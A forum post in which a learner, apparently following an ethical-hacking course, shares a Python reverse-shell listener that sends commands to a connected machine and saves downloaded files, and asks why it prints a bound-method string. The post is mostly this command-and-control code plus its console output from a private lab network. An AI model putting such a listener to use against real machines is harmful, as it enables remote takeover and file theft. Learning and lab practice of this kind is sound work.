May 28, 2020 at 6:40 am
#38323
cybersamuraiDK
Participant
thank you for helping me out π
I still get the same:—————————————————————————
[+] Waiting for incoming connections
[+] Got a connection from (‘10.0.2.15’, 49707)
>> dir
<bound method Listener.reliable_receive of <__main__.Listener instance at 0x7fa8d4aa5190>>
>>
————————————————————————————————
#!/usr/bin/env python
import socket
import json
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024)
print(json.loads(json_data))
return json.loads(json_data)
except ValueError:
continue
def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.reliable_receive
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(content)
return "[+] Download successful."
def run(self):
while True:
command = raw_input(">> ")
command = command.split(" ")
result = self.execute_remotely(command)
if command[0] == "download":
result = self.write_file(command[1], result)
print(result)
my_listener = Listener("10.0.2.10", 4444)
my_listener.run()